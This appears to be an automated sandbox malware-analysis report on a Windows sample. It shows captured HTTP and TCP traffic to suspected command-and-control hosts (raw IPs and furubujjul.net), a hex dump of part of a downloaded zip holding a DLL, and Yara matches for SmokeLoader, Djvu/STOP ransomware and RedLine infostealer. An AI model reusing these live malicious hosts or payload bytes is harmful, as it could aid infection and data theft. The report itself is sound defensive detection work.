6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:47:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:47:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 03 Nov 2022 11:47:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Thu, 03 Nov 2022 11:47:18 GMTContent-Type: application/zipContent-Length: 2685679Last-Modified: Mon, 12 Sep 2022 13:14:59 GMTConnection: keep-aliveETag: "631f30d3-28faef"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 24 56 25 55 2b 6d 5c 08 39 7c 05 00 50 75 0a 00 0b 00 00 00 66 72 65 65 62 6c 33 2e 64 6c 6c ec bd 0f 5c 54 e7 95 37 3e 97 19 61 d0 89 77 28 34 21 29 55 48 68 ab ad 4d e7 3a a6 91 48 13 8c 0c 90 c4 31 18 1c 35 bb 4e 62 ba d6 f5 75 f3 26 46 99 c4 76 33 2d 64 20 ce e3 75 5a 92 d5 d6 6e b5 75 df b2 5d f7 7d e9 bb b4 ab c4 b4 da cc 80 85 11 29 0c 4a 61 50 aa 24 a1 66 28 6c 3b 40 2a ff 52 e6 77 ce 79 ee 9d 19 40 52 b3 bf ee 2f ed ef b3 f9 44 e6 fe 7d 9e f3 9c e7 fc f9 9e f3 fc b9 d6 bf da ab 11 34 1a 8d 4e 33 fd bf 3c cd 1f ff 6f 2f fc 5b b8 f8 27 0b 35 27 92 7f 91 75 4a 58 fb 8b ac 0d 3b fe c7 9e cc 5d bb 9f fd db dd 4f fd cf cc bf 79 ea 99 67 9e 2d cd fc e2 97 32 77 3b 9e c9 fc 1f cf 64 e6 3f 5a 92 f9 3f 9f dd f6 a5 bb b3 35 9a 62 8b 46 b3 56 48 d4 8c ac f8 c8 df a8 e5 f5 6a ee cc 5a 20 2c 84 42 f5 1a cd 8a 04 ba b6 eb 23 70 6c 8c 56 69 a4 63 b8 95 48 54 c7 7e 35 81 f9 d4 88 f3 7f 98 0f b7 f3 56 d3 4b 46 fe 0a ff e5 3f 45 19 f3 35 25 f0 fb 1d f8 f5 e3 c5 aa f9 9a bd da b8 46 15 cc d7 14 7f 0e 7e 8f cd d7 84 ef d2 68 0e de 3a 5f 93 a1 99 fb 3f 7d a6 5e 73 2c ee bc 7a d1 7c 4d 9e 30 f7 f3 77 97 7e 69 6f 29 fc 1e 32 28 ed 5a a8 9f c5 fc 4c 8d 66 eb dd bb b7 3d 55 fa 94 46 73 36 11 1a 0b 75 68 f4 f0 8b bc 98 de 47 79 77 f3 c7 34 b9 05 f0 c7 34 9f 78 a3 b9 63 fe cc e7 bc 77 9b 4c 7f b3 fd 6f 95 aa ca 94 e7 32 66 3d 97 77 f7 ee 3d bb b1 43 88 27 55 9c a7 9a 45 37 7a ee 4b 4f 3f fb 37 1a e2 11 f2 4a 03 7d aa b9 73 d6 73 0f 6a fe fb bf 3f eb ff 6c ec d7 3b 1e 05 79 0d 0d 2f d0 6b 5c 67 75 95 de d2 85 ac 6c 25 5c 71 79 45 57 6f d8 de b0 23 b5 37 12 09 35 f1 db 92 d7 de d0 12 ff 1f bc bf 69 a3 6c d1 c3 7b 8b 64 47 86 ec 4c 93 6d 46 d9 6a a8 8c 94 de 39 2c 1a 93 86 c5 94 32 13 94 36 b0 64 c7 3c 2c e7 6b bc 9c 53 11 f8 6f e0 93 4d 65 2b e0 de 0f e0 bf a6 32 93 72 b4 d3 b8 71 a7 66 a7 e6 b1 f5 c5 a1 07 be 99 08 0f 67 3c f1 a4 bd 21 ae be 92 4d 1b 39 c9 0f 44 49 36 b1 26 85 e8 26 51 ba ee 7a 27 5c fa 77 b2 85 28 b1 1b 64 ab be f2 72 e9 62 20 46 0b c4 ec 23 62 3e c1 1b 35 3c 9f 37 ea fa 40 6e d3 be 28 25 fb 62 94 3c 86 94 14 af df 14 3a 79 88 28 81 aa 8c 91 d7 b0 a2 50 35 7f 77 20 81 4d b1 f0 13 4f fe b5 bd 21 8e 1f 0e 7d e5 f5 d2 4c d9 69 d8 a9 d9 18 7a fd 1f f1 5d 3d 70 64 61 a4 8e de dd c1 df c5 76 f1 f6 b8 fa c6 5c 83 c5 6c 6d f6 32 d9 9a fe 4f 27 4c f3 8d 52 88 e5 67 17 35 e5 67 af 40 23 e1 1a 37 ee be 9d f9 5d bd 49 8e 8f 78 be ac 5f e5 34 3e 9f b6 43 0b 4d e8 ff 31 e8 f1 0e 1d 1e 1d 87 23 d7 8b d9 cb 34 62 c5 61 3c 74 ea e1 e8 eb 70 24 3b d2 2a af 8b 15 2e 38 64 17 d9 98 ab 77 ac 38 d4 9a ac b0 4e ac d8 8b d7 5f cc ce 54 18 94 9f bd 92 d5 bb ea f5 50 7d b6 ec 4c df e4 fb 9d 76 e3 63 a1 27 80 62 79 6d b6 c9 75 d6 30 7a 15 9e 36 49 5e a0 8d 0c 23 fc a6 2b bf 69 ca af 51 f9 35 28 bf

Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.174.137.70

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ihscr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 127Host: furubujjul.net

Source: unknown	HTTPS traffic detected: 185.220.204.64:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.6:49713 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 11.3.uucbfdt.720000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.700e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.gecbfdt.700e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.uucbfdt.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.gecbfdt.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.405E.exe.810e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.gecbfdt.700e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.gecbfdt.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.710000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.gecbfdt.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.uucbfdt.710e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.405E.exe.820000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.405E.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.gecbfdt.710000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.gecbfdt.700e67.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.356712809.0000000000710000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.505978851.0000000000710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.356833950.0000000000841000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.504789684.0000000000760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.475515508.0000000000720000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.403897156.0000000000820000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.255442832.0000000000710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.443176510.0000000000820000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.505917720.0000000002231000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.443497890.0000000000851000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.345197591.0000000004E61000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY

Source: file.exe, 00000000.00000002.356947410.00000000008CA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands

Yara detected Djvu Ransomware

Source: Yara match	File source: 25.0.5999.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.5999.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.5999.exe.23715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.5999.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.5999.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.5999.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.5999.exe.23715a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.5999.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.5999.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.5999.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.5999.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.5999.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.5999.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.5999.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.5999.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.5999.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000000.468200918.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000000.465494612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000000.461705193.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.474602203.0000000002370000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5999.exe PID: 1244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5999.exe PID: 4888, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 12.2.37F1.exe.4a8b076.2.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.37F1.exe.7290000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.37F1.exe.7290000.9.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.37F1.exe.4b70ee8.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 25.0.5999.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.0.5999.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.37F1.exe.5f55530.7.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.37F1.exe.5f56418.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.37F1.exe.4a8a18e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.37F1.exe.5f56418.8.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.3.37F1.exe.2eb9e80.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 25.0.5999.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.0.5999.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.37F1.exe.48d0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.37F1.exe.5f8cf50.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.3.37F1.exe.4910000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.2.5999.exe.23715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 19.2.5999.exe.23715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 25.0.5999.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.0.5999.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 25.0.5999.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.3.37F1.exe.2eb9e80.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 25.0.5999.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.0.5999.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.37F1.exe.5f8cf50.6.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.37F1.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 25.0.5999.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.0.5999.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.37F1.exe.4b70000.5.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.37F1.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.37F1.exe.4b70ee8.4.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.2.5999.exe.23715a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 19.2.5999.exe.23715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 25.0.5999.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.0.5999.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 25.0.5999.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.0.5999.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.37F1.exe.5f55530.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.37F1.exe.4a8a18e.3.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.37F1.exe.4b70000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.37F1.exe.4a8b076.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 25.2.5999.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.2.5999.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 25.0.5999.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.0.5999.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 25.0.5999.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.0.5999.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 25.0.5999.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.0.5999.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 25.0.5999.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.0.5999.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 25.0.5999.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.0.5999.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 25.2.5999.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.2.5999.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001E.00000000.510855251.00000000008D8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.356712809.0000000000710000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000001E.00000002.539352220.00000000008D8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000F.00000000.426588359.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000E.00000000.432265249.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000B.00000002.505257421.00000000007A8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.473163211.00000000022D7000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
